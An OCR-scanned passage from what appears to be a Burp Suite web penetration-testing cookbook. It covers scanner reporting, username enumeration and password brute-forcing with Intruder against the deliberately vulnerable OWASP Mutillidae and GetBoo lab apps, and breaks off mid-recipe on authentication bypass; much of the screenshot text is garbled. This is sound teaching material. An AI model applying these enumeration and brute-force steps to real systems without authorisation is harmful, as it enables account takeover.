59 http:/192.168.56.101 Imutilidae/framer. html finished 3 437 8
60 hitp://1192.168.56.101 Imutilidaefincludes/pop-up-help-context-generator.php  10% complete 1 7 ]
61 http:/192.168.56.101 Imutilidaefincludes/pop-up-help-context-generator.php 0% complete 1 45 10
62  hitp192.168.56.101 /mutilidaefincludes/pop-up-help-context-generator.php 0% complete 1 16 10
63 hitp://192.168.56.101 Imutilidaefindex.php waiting

6. As scanner finds issues, they are displayed on the Target tab, in the Issues
panel. This panel is only available in the Professional edition since it



complements the scanner's functionality:

|
!@ Proxy | Spider | Scanner T Intruder I Repeater ISequenuef IDeooder I Comparer I Extender l Project options I User options | Alerts

I

¢ Proxy fraffic is disabled

‘ Fiter: Hiding out of scope and not found items; hiding CSS, image and general binary content, hiding 4xx responses; hiding empty folders

||V (o hitp:/192.168.56.101

() mutiidse

[ mutiidae

3°Y]

» [ documentation
[ framer tmi

» [T includes

» (& index php

» [ javascript

¥ &b levek1-hinis-page-wrapper php
ED set-up-database php

» [T webservices

Contents Issues

Host | Method | URL | Params & 0 soL njection [2)

Nip:/192168.56.001  GET  /mutlidae/ 2| | O Cross-ste scriping reflected) 4]
Mpi1921686001  GET  mutlidaepagesshow-l. ¥  Clarext submssionofpassword
MpO1GBSEI0  GET  Imutidaeidocumentatn.. ?C"“”“““"‘ HpOnly flag set
hitp://192.168.56.101 GET Imutilidae/framer html + XPath ngction

MpMo2 16856401 GET  /mutiidaeinchidesipopu. © Password i wih suoconplts enathed
Mp/MS 18856101 GET  muiidsencludesipop. > 1 nputretumed n response (reflected) [17]
Mp/19216356101  GET  utlidacichdesipop. ¥ P 1 Cross-domahn Referer leakoge [
MpMGRI6SEA0  GET  imudidaeincudespopu. V' P1; HTMR cies. o ape iy charue ]
’I‘TDJJ"192.163-5£1M GET mmmeﬁmﬂwpm" J ¥ | Frameable response (putenha\(‘.lck)ad(mg)[&]
Mp/MS16ESEAN  GET  /mutiaefavascrpthos.. || ! Likmeriunion rfecled) 2

gl : T b Pathrelative sty shestimport 3
- Ty

| Request | Response | Advisory |

| Raw | Headers | Hex
GET /mutillidae/ HITP/L.1 i

Host: 152.168.5€.101 p-
‘User-kgenr,: Mozilla/5.0 (Windews NT 10.0; Wined; xzed;
1v:El.0) Gecko/20100101 Firefox/gl.0

Aecept:
text/htnl,application/xhtmltinl,application/mml;q=0.5,*
/*iq=0.8

Accept-Language: en-US,en;q=0.5

Aeeept-Encoding: gzip, deflate

Referer: htep://192.160.56.101/

Connection: close

Upgrade-Insecure-Requests: 1

- ¥

? uu » | | Typea search term 0 matches

0 SQL injection

lssye: SOL injection
Severty: High

Confidence:  Certain

Host: http:/1192.168.56.101

Issue detail
2instances of this issue were identified, at the following locations:

& Imutilidae/includes/pop-up-help-context-generator. php [pagename
parameter]

@ /mutilidae/evek1-hints-page-wrapper php [levelt HintincludeFile
parameter]

Issue background

SQL injection vulnerabilties arise when user-controllable data is incorporated into
database SQL queries in an unsafe manner. An attacker can supply crafted input




Reporting issues

Reporting capabilities are only available in Burp Professional edition.

In Burp Professional, as scanner discovers a vulnerability, it will be added to a
list of issues found on the Target tab, in the right-hand side of the UI. Issues are
color-coded to indicate the severity and confidence level. An issue with a red
exclamation point means it is a high severity and the confidence level is certain.
For example, the SQL Injection issue shown here contains both of these
attributes.

Items with a lower severity or confidence level will be low, informational, and
yellow, gray, or black in color. These items require manual penetration testing to
validate whether the vulnerability is present. For example, Input returned in
response is a potential vulnerability identified by scanner and shown in the
following screenshot. This could be an attack vector for cross-site scripting
(XSS) or it could be a false positive. It is up to the penetration tester and their
level of experience to validate such an issue:

1
‘) =T =
ISSLes

#) saL injection

0 Cross-site scripting (reflected)

0 Cleartext submis=sion of password
Password field with autocomplete enabled
Cookie without HttpOnbhy flag set

* 1 Input returned in response (reflected) [7]
1 Cross-domain Referer leakage
* 1 HTML does not specify charset [3]
® 1 Frameable response (potential Clickjacking) [4]

> Path-relative style sheet import [2]



¢ Severity levels: The severity levels available include high, medium, low,
information, and false positive. Any findings marked as false positive will
not appear on the generated report. False positive is a severity level that
must be manually set by the penetration tester on an issue.

e Confidence levels: The confidence levels available include certain, firm,
and tentative.



Getting ready

After the scanning process completes, we need to validate our findings, adjust
severities accordingly, and generate our report.



How to do it...

1. For this recipe, select Cookie without HttpOnly flag set under the Issues
heading:

Issues

#) saL injection
> ﬂ Cross-site scripting (reflected) [3]

ﬂ Cleartext submission of password
XPath injection
Password field with autocomplete enabled
Cookie without HttpOnly flag set
Input returned in response (reflected) [13]
Cross-domain Referer leakage [3]
HTHL does not specify charset [6]
Frameable response (potential Clickjacking) [&]
Link manipulation (reflected) [2]
Path-relative style sheet import [2]

+—5

L . . B .
e e e e e

2. Look at the Response tab of that message to validate the finding. We can
clearly see the PHPSESSID cookie does not have the Httponly flag set.
Therefore, we can change the severity from Low to High and the
confidence level from Firm to Certain:



" Advisory T Reguest I Response 1

J HEWT Headers I Hex I HTHL I Render }

HTTP/1.1 200 0K

Date: Tue, 28 Aug 2018 18:45:43 GHT

server: Apache/Z.2.14 (Ubuntu) mod mono/Z.4.3
PHP/S5. 3. 2-1ubuntud. 30 with Suhosin-Patch proxy html/3.0.1
mod python/3.3.1 Python/2.6.5 mod s51/2.2.14
Opens5L/0.5.8k Phusion Passenger/4.0.308 mod perl/Z.0.4
Perl/vE.10.1

#-Powered-By: PHP/L.3.I2-lubuntud. 20

aet-Coolkie: PHPSESSID=pniramikkatSfmdmdrciB0bect; path=/f

3. Right-click the issue and change the severity to High by selecting Set
severity | High:

lssues

@ s0L injection
b ﬂ Cross-site scripting (reflected) [3]

ﬂ Cleartext submizsion of password

| XPath injection

Password field with autocomplete enabled

Cookie without Hitp(Oj
1 Input returned in resy
1 Cross-domain Referd Report issue

Cookie without HitpOnly flag set

1 HTML does not spec

vy vy v vy vy
O g ey

| Frameable response e > :
| Link manipulation (ref . € Wedium
Path-relative style sh Low
View >

1 Information

Show new site map window FP' False positive

[ Advizory I Reguest rj
lzzues help

Restore original value

r T T I I !




4. Right-click the issue and change the severity to Certain by selecting Set
confidence | Certain:

Issues

@ soL injection
F ﬂ Cross-site scripting (reflected) [3]

ﬂ Cleartext submission of password
¥Path injection
Cookie without Hitp
Pazsword field wit
Input returned in res
Cross-domain Refe
HTHML does not spet
Frameable responss D Certain
Link manipulation (re ' Firm
Path-relative styles|  View P | 7 Tentative

o

! Cookie without HttpOnly flag set

Report issue

Set severity

Set confidence [

Delete izzue

¥y ¥ ¥ vy ry¥w
e i

_ S Reztore original value
J Advisory | Request Issues help |

5. For this recipe, select the issues with the highest confidence and severity
levels to be included in the report. After selecting (highlighting + Shift key)
the items shown here, right-click and select Report selected issues:

Issues

#) =0L injection

ﬂ Cross-site scripting (reflected) [3]
ﬂ Cleartext submiz=ion of password
) Cookie without HitpOnly flag set Report selected issues

4 iszues selected

Upon clicking Report selected issues, a pop-up box appears prompting us
for the format of the report. This pop-up is the Burp Scanner reporting
wizard.

6. For this recipe, allow the default setting of HTML. Click Next.
7. This screen prompts for the types of details to be included in the report. For
this recipe, allow the default settings. Click Next.



This screen prompts for how messages should be displayed within the
report. For this recipe, allow the default settings. Click Next.

This screen prompts for which types of issues should be included in the
report. For this recipe, allow the default settings. Click Next.

. This screen prompts for the location of where to save the report. For this
recipe, click Select file..., select a location, and provide a file name
followed by the .html extension; allow all other default settings. Click
Next:

in
i .

lﬂ Select the file where the report will be saved.

|' Select file ... \Burp_reports\Mutilidae_burp_report.himi

Specify the title and structure to use in the report.

Report title Burp Scanner Report

lzzue organization | By type ‘FJ

Table of contents levels |2 ‘FJ
Summary table | Allissues TJ
Summary bar chart | High, medium and low issues 'J

(] Embed images within HTML (requires modern browser]

| Back | | Next

11. This screen reflects the completion of the report generation. Click Close



and browse to the saved location of the file.

12. Double-click the file name to load the report into a browser:



Burp Scanner Report B BURPSUITE

PROFESSIONAL

Summary

The table below shows the numbers of issues identified in different categories. Issues are classified according to severity as High, Medium, Low or Information. This
reflects the likely impact of each issue for a typical organization. Issues are also classified according to confidence as Certain, Firm or Tentative. This reflects the
inherent reliability of the technique that was used fo identify the issue.

Confidence

Certain Firm Tentative Total
Medium - 0 0 0

Severity
0

Low 0 0 0

Information 0 0 0

The chart below shows the aggregated numbers of issues idenlified in each category. Solid colored bars represent issues with a confidence level of Certain, and the
bars fade as the confidence level falls.

Number of issues
o i | g J g
Hon
Severity Medium

Low

Contents

1. SQL injection
2. Cross-site scripting (reflected)

2.1. http://192.168.56.101/mutillidae/includes/pop-up-help-context-generator.php [pagename parameter]
2.2. http://1192.168.56.101/mutillidae/webservices/soap/ws-hello-world.php [name of an arbitrarily supplied URL parameter]
2.3. http:/1192.168.56.101/mutillidae/webservices/soap/ws-hello-world.php [name of an arbitrarily supplied URL parameter]

3. Cleartext submission of password

4. Cookie without HttpOnly flag set



Congratulations! You've created your first Burp report!



Assessing Authentication Schemes

In this chapter, we will cover the following recipes:

Testing for account enumeration and guessable accounts
Testing for weak lock-out mechanisms

Testing for bypassing authentication schemes

Testing for browser cache weaknesses

Testing the account provisioning process via REST API



Introduction

This chapter covers the basic penetration testing of authentication schemes.
Authentication is the act of verifying whether a person or object claim is true.
Web penetration testers must make key assessments to determine the strength of
a target application's authentication scheme. Such tests include launching
attacks, to determine the presence of account enumeration and guessable
accounts, the presence of weak lock-out mechanisms, whether the application
scheme can be bypassed, whether the application contains browser-caching
weaknesses, and whether accounts can be provisioned without authentication via
a REST API call. You will learn how to use Burp to perform such tests.



Software tool requirements

To complete the recipes in this chapter, you will need the following:

e OWASP Broken Web Applications (VM)
e OWASP Mutillidae link

e GetBoo link

e Burp Proxy Community or Professional (https://portswigger.net/burp/)

e The Firefox browser configured to allow Burp to proxy traffic
(https://www.mozilla.org/en-US/firefox/new/)



https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/

Testing for account enumeration and
guessable accounts

By interacting with an authentication mechanism, a tester may find it possible to

collect a set of valid usernames. Once the valid accounts are identified, it may be
possible to brute-force passwords. This recipe explains how Burp Intruder can be
used to collect a list of valid usernames.



Getting ready

Perform username enumeration against a target application.



How to do it...

Ensure Burp and the OWASP BWA VM are running and that Burp is configured
in the Firefox browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the GetBoo
application:

OLD (VULNERABLE) YERSIONS OF REAL APPLICATIONS

© WordPress ';Q'}OmngeHRl\/I

©GeiBoo ©GTD-PHP
©vazd € WebCalendar
O Gallery2 O Tiki Wiki
€ Joomla \_ AWStats

2. Click the Log In button, and at the login screen, attempt to log in with an
account username of admin and a password of aaaaa:



GETEOO
\togin

Username admin

Password seeeee

Remember me [

Use the account demo/demo for preview.

New User? | Forgot password? | Activate Account

3. Note the message returned is The password is invalid. From this
information, we know admin is a valid account. Let's use Burp Intruder to
find more accounts.

4. In Burp's Proxy | HTTP history tab, find the failed login attempt message.
View the Response | Raw tab to find the same overly verbose error
message, The password is invalid:

Target I Proxy I Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Camparer | Extender | Project options | User options | Alerts
intercegt || HTTR history || WebSoctets nistory | optons |

| Filter: Hiding script, CSS, image and general binary content ‘ L

# &|Host Method | URL | Params | Edited | Status | Length | MMEtype | Extension | Title | Comment |
WM oho J 200 l=a1 HTML php |
< .

Reqnutl Ih-pmul
Iml Headers | Hex | HTML | Render

HTTP/1.1 200 OK
Date: Thu, 230 Aug 2018 15:13:30 GHT

Server: Apache/2.2.14 (Ubuntu) mod_mono/Z.4.3 PHP/S.3.2-lubuntud.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Pythen/2.6.5 mod_ssl1/2.2.14 OpenSSL/0.9.8k
Phusion Passenger/4.0.38 mod _perl/2.0.4 Perl/vS.10.1

X-Powered-By: PHP/S.3.I-lubuntud.30

Expires: Thu, 18 Nov 1881 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 46

Connection: close

Content-Type: text/html

<p elass="error“>The password is invalid.</p>

5. Flip back to the Request | Raw tab and right-click to send this request to
Intruder:



Burp Intruder Repeater Window Help

[ Target I Proxy I Spider ]' Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer ]' Extender T Project options T User options. TAIerts ]

Intercept I HTTP history 'I WebSockets history T Options ]

| Filter: Hiding script, CSS, image and general binary content

# 4| Host | Methed | URL | Params | Edited | Status |
120 hitp:/1192.168.56.101 POST in.ph, v 200
-«

Request | Response

| maw | params | Headers | Hex |

POST /getboo/login.php HTTP/1.1

Host: 192.1&8.56.101 i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; rv:el| Sendto Spider
Accept: */*

Accept-Language: en-US,en;qg=0.5 :
Accept-Encoding: gzip, deflate L= passive scal
Referer: http://l92.168.56.101/gethoo/login. php Send to Intruder
Content-Type: application/x-www-form-urlencoded
H-Bequested-With: XMLHttpRequest

Content-Length: 78 Send fo Sequencer
Cookie: PHPSESSID=gSqnimlhScdhuldus3tglgimbd; acopendiwvids=4 Sendto Comparer
Connection: close

Do an active scan

Send to Repeater

Send to Decoder

token=51c08%a%cc4d708115ab7827c4 7063 3etnane=adninipass=aaaad Show response in browser

Cirl+l
Ctr+R

pogroupswithpersist=nada

6. Go to Burp's Intruder tab and leave the Intruder | Target tab settings as it
is. Continue to the Intruder | Positions tab. Notice how Burp places
payload markers around each parameter value found. However, we only
need a payload marker around the password value. Click the Clear § button

to remove the payload markers placed by Burp:

[Target l Positions ]Payinads T Options. }

G.J Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type {VSmper

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4; rv:E1.0) Gecko/I0100101 Firefox/€1.0
Accept: */%

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Referer: http://182.168.56.101/getboo/login.php
Content-Type: application/x-www-form-urlencoded
X-Pequested-With: XMLHttpPRequest
Content-Length: 78

Cockie: PHPSESSID=§gS¢mOmlhScdhuldud3tqlgimsds;
Connection: close

token=§51c089a8Scc4d708115ab7827c47c633efénane=8adninf épass=§aaaaaalesubnitted=§LogtIn§

acopendivids=§swingset,jotto,phpbb?, redmine§; acgroupswithpersist=§nada§

I
POST /getboo/login.php HITP/L.1 |a
Host: 192.168.56.101 r

Start attack

Add §
Auto §
Refresh

7. Then, highlight the name value of admin with your cursor and click the

Add § button:



[Targel I Positions I Payloads I Options 1

2) Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper M|

POST /getboo/login. php HTTP/L L

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:El.0) Gecko/IZ0100101 Firefox/€l.0
Accepr: */% Clear §
Accept-Language: en-US,en;gq=0.5
Accept-Encoding: gzip, deflate

T

Add §

Aute §
Referer: http://192.16B.56.101/getboo/login.php
Content-Type: application/x-www-form-urlencoded Refresh
K-Requested-With: XMLHctpRequest

Content-Length: 78

Cockie: PHPSESSID=g5qnémlhScdhulduditqlqimbe; acopendivids=swingset,jotto,phpbb?,rednine; acgroupswithpersist=nada
Connection: close

token=51c08%a%cc4d708118abT82Tcd TeEé33einame) pass=aaaaaaisubmitted=Log+In

8. Continue to the Intruder | Payloads tab. Many testers use word lists to
enumerate commonly used usernames within the payload marker
placeholder. For this recipe, we will type in some common usernames, to
create a custom payload list.

9. In the Payload Options [Simple list] section, type the string user and click
the Add button:



' Target T Proxy T Spider T Scanner I[htmde.r [ Repeater T Sequencer T Decoder T Co

r*l ® |2:~¢T‘..1

| Target | Postions | Payioads | Options

w Payload Sets

You can define one or more payload sets. The number of payload sets depends on the a
customized in different ways.

Payload set: [1 |T] Payload count: 0

Payload type: | Simple list w|  Request count 0

w Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

i

Load ...

Add User

Add from list .. v

—

10. Add a few more strings such as john, tom, demo, and, finally, admin to the
payload-listing box:



w Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

i Paste User
john
| Load.. | |tem
demo
' Remove | | admin >
i Clear
i Add Enter a new item
[Add from list ... | T]

11. Go to the Intruder | Options tab and scroll down to the Grep — Match
section. Click the checkbox Flag result items with responses matching
these expressions. Click the Clear button to remove the items currently in
the list:



Target I Proxy I Spider T Scanner Thhuder T Repeater T Sequencer I Decoder I

{1« Jaw] - |

. Target I Posttions T Payloads T(}ptms ]

2| Grep - Match

@ These settings can be used to flag result items containing specified expressions.

LJ Flag result tems with responses matching these expressions:

Paste ‘ error Ll\
exception
Load ... ‘ llegal
invalid J
Remove ‘ fail >
stack
Clear ' access
directory =
file v
Add ‘ Enter a new item

Match type: @ Simple string
() Regex

|| Case sensitive match
(] Exclude HTTP headers

12. Click Yes to confirm you wish to clear the list.

13. Type the string The password is invalid within the textbox and click the
Add button. Your Grep — Match section should look as shown in the
following screenshot:



Grep - Match

These settings can be used to flag result tems containing specified expressions.

Y] Flag result tems with responses matching these expressions:

Paste I] The password is invalid

Load ...

[

Remove -

Clear

Add

Ly
I
L
I
[

14. Click the Start attack button located at the top of the Options page. A pop-
up dialog box appears displaying the payloads defined, as well as the new
column we added under the Grep — Match section. This pop-up window is
the attack results table.

15. The attack results table shows each request with the given payload resulted
in a status code of 200 and that two of the payloads, john and tom, did not
produce the message The password is invalid within the responses.
Instead, those two payloads returned a message of The user does not exist:



B intruder attack 2

Attack Save Columns

_[ Results. T Target I Positions I Payloads I Options 1

| Filter: Showing all items

Request 4 | Payload | Status | Error | Timeout | Length |The password is invalid | Comment \
0 200 O O s3 @
1 user 200 = L] 531 (]
2 john 200 L] U 531 u
3 tom 200 l;J EJ 581 J
4 demo 200 = a £ &
5 admin 200 d ] 581 ]

16. The result of this attack results table provide a username enumeration
vulnerability based upon the overly verbose error message The password is
invalid, which confirms the user account exists on the system:




Aftack Save Columns

_[Resuls TTarget I Positions I Payloads I Options ]

Fiter. Showing all tems

Request A‘ Payload Status | Emor ‘ﬁrneout |Lengh | The passwordisinvald | Comment ‘
0 200 U 0 s U

1 user 200 0 0 s [

2 john 200 § 0 s 8

3 tom 200 U 0 s U

[4 demo 200 U (] 5 d ]

5 admin 200 7 0 581 t

e

JR&WIHeaders Hex HTMLIRender]

HITP/L.1 200 OK

Date: Thu, 30 Aug 2018 Z20:50:59 GHT

Server: Apache/Z.2.14 (Ubuntu) mod mono/Z.4.3 PHP/S. 3. 2-lubuntud. 30 with Suhosin-Patch proxy html/3.0.1
wod_pythen/3.3.1 Python/Z.€.5 wod ss1/2.7.14 Opensl/0.9.8k Phusion Passenger/4.0.38 mod perl/Z.0.4 Perl/vs.10.1
X-Powered-By: PHP/S.3.2-lubuntud. 30

Bxpires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Prama: no-cache

Vary: Accept-Encoding

Content-Length: 46

Comnection: close

Content-Type: text/htul

<p class="error">The password iz invalid.</p>

This means we are able to confirm that accounts already exist in the system for
the users user, demo, and admin.




Testing for weak lock-out
mechanisms

Account lockout mechanisms should be present within an application to mitigate
brute-force login attacks. Typically, applications set a threshold between three to
five attempts. Many applications lock for a period of time before a re-attempt is
allowed.

Penetration testers must test all aspects of login protections, including challenge
questions and response, if present.



Getting ready

Determine whether an application contains proper lock-out mechanisms in place.
If they are not present, attempt to brute-force credentials against the login page
to achieve unauthorized access to the application. Using the OWASP Mutillidae
IT application, attempt to log in five times with a valid username but an invalid

password.



How to do it...

Ensure Burp and the OWASP BWA VM are running and that Burp is configured
in the Firefox browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP
Mutillidae II application.

2. Open the Firefox browser to the login screen of OWASP Mutillidae II.
From the top menu, click Login.

3. At the login screen, attempt to login five times with username admin and
the wrong password of aaaaaa. Notice the application does not react any
differently during the five attempts. The application does not change the
error message shown, and the admin account is not locked out. This means
the login is probably susceptible to brute-force password-guessing attacks:

| Login ]

______________________________________________________

......................................................

[ Please sign-in ]

Username [admin

Password [eeceee

Dont have an account? Please register here

Let's continue the testing, to brute-force the login page and gain
unauthorized access to the application.



4. Go to the Proxy | HTTP history tab, and look for the failed login attempts.

Right-click one of the five requests and send it to Intruder:

lTarget Proxy | Spider | Scannerl Intruder ‘ Repeater ] Sequencer | Decoder ] Comparer [ Extendsr |Pm}ectoptions TU&ernpﬁons IAlerts |

Intercept | HTTP history | WebSockets history T Options W

Fiter: Hiding C55, mage and general binary confent

«C

# A Host (Method | URL | Params | Edied | Staus | Lenglh | MMEtype | Exension |
78 hifp/192.168.56.101 POST  Imutilidaelindex pho?page=login.php J 200 50762 HTML php
19 hitp/52.168.56.101 POST  Imutilidae/index.pho?page=login.php J 00 50762 HTL php

Request | Response

Raw | Params | Headers | Hex

POST /mutillidae/index.php?page=login.php HITP/1.1
Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Ving4; z64; rv:6l.0) Cecko/Z0L00L101 Firefox/€1.0

Aecept: text/htwl,application/xhtnltsul,application/xul;q=0.9,%/*;q=0.0

Aeeept-language: en-U5,en;q=0.5

Accept-Encoding: gezip, deflate

Referer: http://L92.168.56.101/meillidae/index. phy?page=login. phy
Content-Type: application/x-www-form-urlencoded

Content-Length: &0

Cookie: showhints=l; PHPAESSID=gSminlhiedhu0duidtglyinsd; acopendivids=swingsd

Comnection: close
Upgrade-Insecure-Requests: 1

usernane=adninépassword=aaaaaatlogin-php=subnit-button=Login

5. Go to Burp's Intruder tab, and leave the Intruder | Target tab settings as it

Send to Spider

0o &n active scan
Do & passive scan
Send to Itruder
Send fo Repeater
Send fo Sequencer

Cirll
Ctri«R

svithpersist=nada

is. Continue to the Intruder | Positions tab and notice how Burp places
payload markers around each parameter value found. However, we only
need a payload marker around the password's value. Click the Clear

§ button to remove the payload markers placed by Burp:



(TurgelT mele Spider T“Scanner W Repester TSequencer I Decoder I Cnmparer‘ T.Extender T Project options T User options T Alerts W

Target | Postions. | Payloads | Options

) Payload Positions

Start attack
Configure the postions where payloads wil be inserted info the base request, The attack type determines he way in which payloads are assigned to payload posiions - see help for ful detais.
Atack type: | Sniper 'J
POST /mucillidae/index.php?page=§login.php§ HITP/L.1 i Add§
Host: 192.168.56.101 P
User-hgent: Mozilla/8.0 (Windows NT 10.0; Winéd; xed; rv:el.0) Gecko/20L00101 Firefox/el.0
Aecept: test/htul application/shtulévul application/vnl;qe0.9,%/%;q=0.0 Clear §
Accept-Language: en-US,en;q=0.5
Aecept=Encoding: qzip, deflate Auto§
Referer: http://192.166. 56, 101 /mutillidae/index. php3page=login. php {—J
Content-Type: applicacion/y-wwv-forn-urlencoded Refresh
Content-Length: €0 l—J

Cookie: showhincs=§515; PHPSESSID=§¢SemémlhScdhulduitglqinidl; acopendivids=§swingset,jotco,phpbbl,redunine§; acgroupsvithpersist=jnadal
Connection: eloge
Upgrade-Insecure-Requests: 1

username=§ aduing épassword=faaaaaafslogin-php-subnit-hutton=GLoging

6. Then, highlight the password value of aaaaaa and click the Add § button.

7. Continue to the Intruder | Payloads tab. Many testers use word lists to
brute-force commonly used passwords within the payload marker
placeholder. For this recipe, we will type in some common passwords to
create our own unique list of payloads.

8. In the Payload Options [Simple list] section, type the string admin123 and
click the Add button:



@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Remove

!

Add |  admin123

—

—

Add from list ... d

9. Add a few more strings, such as adminpass, welcomel, and, finally, admin
to the payload-listing box:



w Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste admin123

adminpass
l Load ... welcome
admin

| Re: .P
| Clear

M

move
| Add :

| Add from st ... v

nter & naw itam
[R4= o e FE TR

10. Go to the Intruder | Options tab and scroll down to the Grep — Extract
section:

I Grep - Extract I

2
lEJ These settings can be used to extract useful information from responses into the attack results table.

] Extract the following tems from rezponzes:
| Add

11. Click the checkbox Extract the following items from responses and then
click the Add button. A pop-up box appears, displaying the response of the
unsuccessful login attempt you made with the admin/aaaaaa request.

12. In the search box at the bottom, search for the words Not Logged In. After
finding the match, you must highlight the words Not Logged In, to assign
the grep match correctly:



4 Burp Suit nal v empor]

Burp Infruder Repeater Window Help |

[ Target I Proxy I Spider I Scanner m llJ

. [ mgetI Postions T Payloads Tﬂm L

(| Case sensive maich
) Exclude HTTP headers

BJ Grep - Extract
@J These settings can be used to extract us

(@ Extract the folowing dems from res||

g

Waximum capture length; | 100

w Grep - Payloads

« | Theze settinng ran he nzed tn flan resul

Bin
g Lellr

Define the location of the tem to be extracted, Selecting the tem in the response panel will create a sutable configuration automatically. You can
8lso modify the configuration manually to ensure it works effectively.

(Y] Define start and end (] Extract from regex group
(® Starl after expression: \-header” style="margin-left: 20px "> lass="version\-header" style="margin\-leff: 20px">( *7}els
(U Start at offaet 3288 Case sensiive

@® End at delimier: <[span:

(O End at fixed length:

[ Exclude HTTP headers () Update config based on sekection below Refetch response

</table> i

</t
<ftrs
<tr

<td bgeolor="gecceff" align="center" colspan="7"»
<gpan class="version-header":Version:
2.6.24</span>
<span id="idSecuritylevelHeading" class="version-header"
style="margin-lefe: Z0px;"»Security Level: 0 (Hosed)</span»
<gpan 1d="idHintsStatusHeading" CookieTamperinghffectedirea="l"

class="version-header" style="margin-lefc: Z0px;">Hints: Enabled (1 - Scrlpt Klddle)</span»

<span id="idSystenInformateaklonddimle f1ect edXS5Execut ionPoint="1"
class="version-header" style="margin-left: I0px;"iNot Logged Imnj/span>
</td>

(444
dtrs

<td colspan="I" class="header-menu-tahle"»
<table class="header-menu-table"> A

L4

w L U u Not Logged n 1 match

13. If you do not highlight the words properly, after you click OK, you will see
[INVALID] inside the Grep — Extract box. If this happens, remove the
entry by clicking the Remove button and try again by clicking the Add
button, perform the search, and highlight the words.

14. If you highlight the words properly, you should see the following in the
Grep — Extract box:



Grep - Extract

2

@ These settings can be used to extract useful information from responses into the attack results table.

() Extract the following items from responses:

Add |4 From [ ReflectedXSSExecutionPoint="1" clags="versi... |

15. Now, click the Start attack button at the top right-hand side of the Options

page.

16. A pop-up attack results table appears, displaying the request with the
payloads you defined placed into the payload marker positions. Notice the
attack table produced shows an extra column entitled
ReflectedXSSExecution. This column is a result of the Grep — Extract

Option set previously.

17. From this attack table, viewing the additional column, a tester can easily
identify which request number successfully brute-forced the login screen. In
this case, Request 4, using credentials of the username admin and the
password admin logged us into the application:

Aftack Save Columns

O

J Results ITarget I Positions T Payloads T Options ]

‘ Fiter: Showing all tems

@

| Request 4 | Payload | Status | Error | Timeout | Length ReflectedXSSExecution... | Comment
0 200 L U 50762 Mot Logged In
1 admin123 200 = g 50762 Not Logged In
2 adminpass 200 = O 50762 Mot Logged In
3 welcome1 200 (™| g 50762 Not Logged In
4 admin 302 = a 50905 Logged In Admin: <span ...

18. Select Request 4 within the attack table, and view the Response | Render
tab. You should see the message Logged In Admin: admin (g0t r00t?) on

the top right-hand side:



.¢

Atftack Save Columns

J Results I Target I Positions. T Payloads T Options ]

| Fitter: Showing all items ‘ LZJ
Request 4 | Payload | Status | Error | Timeout | Length | ReflectedXSSExecution... | Comment
0 200 a = 50762 Not Logged In
1 admin123 200 8] = s07e2 Not Logged In
2 adminpass 200 a =] 50762 Not Logged In
3 welcome1 200 =] UJ 50762 Not Logged In
L admin 302 L L 50905 Logged In Admin: <span |

Reguest | Response
Raw | Headers | Hex HTML]Render]

@3 OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2,6.24  Security Level: 0 (Hosed)  Hints: Enabled (1 - Script Klddle) | Logged In Admin: admin (got root?i

Finished | |

19. Close the attack table by clicking the X in the top right-hand corner.

You successfully brute-forced the password of a valid account on the system,
due to the application having a weak lock-out mechanism.



Testing for bypassing authentication
schemes

Applications may contain flaws, allowing unauthorized access by means of
bypassing the authentication measures in place. Bypassing techniques include a
direct page request (that is, forced browsing), parameter modification,
session ID prediction, and SQL Injection.

For the purposes of this recipe, we will use parameter modification.



Getting ready

Add and edit parameters in an unauthenticated request to match a previously
captured authenticated request. Replay the modified, unauthenticated request to
gain access to the application through bypassing the login mechanism.



How to do it...

1. Open the Firefox browser to the home page of OWASP Mutillidae II, using
the Home button from the top menu, on the left-hand side. Make sure you

are not logged into the application. If you are logged in, select Logout from
the menu:

e« OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) | Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

2. In Burp, go to the Proxy | HTTP history tab and select the request you just
made, browsing to the home page as unauthenticated. Right-click, and then
select Send to Repeater:

(Target I Proxy I Spider T Scanner I Intruder T Repeater T Sequencer T Decoder T Comparer I Extender ] Project options I User options TAIerts ]

[ Intercept | HTTP history ] WebSockets history T Options ]

I Fiter: Hiding CSS, image and general binary content

# 4| Host | Methed | URL | Params | Edited | Status | Length | MIMEtype | Extensio
272 http:#/192.168.58.101 | GET imutﬁidaeﬁnﬁex.php?page=home.php&popUpNotiﬁcaﬁo.l v 200 48441 HTML php
il

Request | Response
J Raw I Params T Headers | Hex

GET /mutillidae/index.php?page=honme.phpépopUpNotificationCode=HPHO HTTP/1.1

Host: 192.1£8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:61.0) Gecko/20100101 Firefox/&1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

